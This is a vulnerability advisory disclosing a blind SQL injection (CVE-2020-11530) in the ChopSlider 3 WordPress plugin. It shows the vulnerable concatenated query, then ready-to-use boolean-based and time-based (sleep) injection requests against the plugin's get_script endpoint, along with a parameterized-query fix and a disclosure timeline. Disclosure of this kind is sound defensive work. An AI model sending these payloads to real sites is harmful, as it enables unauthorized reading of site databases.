ChopSlider3 Wordpress Plugin SQL Injection  
[-] Software Link:  
[-] Affected Versions:  
ChopSlider version 3.  
[-] Vulnerability Description:  
A blind SQL injection vulnerability is present in Chop Slider 3, a  
Wordpress plugin. The vulnerability is introduced in  
'chopslider/get_script/index.php', and allows an attacker to execute  
arbitrary SQL queries in the context of the WP database user.  
The offending code is located on line 13 of  
$cs_result = $wpdb->get_row('SELECT * FROM ' . CHOPSLIDER_TABLE_NAME . '  
WHERE chopslider_id =' . $id);  
Example injection string:  
GET /wp-content/plugins/chopslider/get_script/?id=141217078 or 6702=6702  
(returns content-length 3055]  
GET /wp-content/plugins/chopslider/get_script/?id=141217078 or 6702=6703  
(returns content-length 1229]  
Blind delay-based SQL injection:  
GET /wp-content/plugins/chopslider/get_script/?id=141217078 or (SELECT  
sleep(10))=6312 [delays for 10 seconds]  
[-] Solution:  
Use of prepared statements with parameterized queries will fix this  
[-] Disclosure Timeline:  
[03/04/2020] - Issue reported to vendor. No response was received.  
[04/04/2020] - CVE number assigned.  
[07/05/2020] - Publication of this advisory.  
[-] CVE Reference:  
The Common Vulnerabilities and Exposures project ( has  
assigned the name CVE-2020-11530 to this vulnerability.  
[-] Credits:  
Vulnerability discovered by Callum Murphy.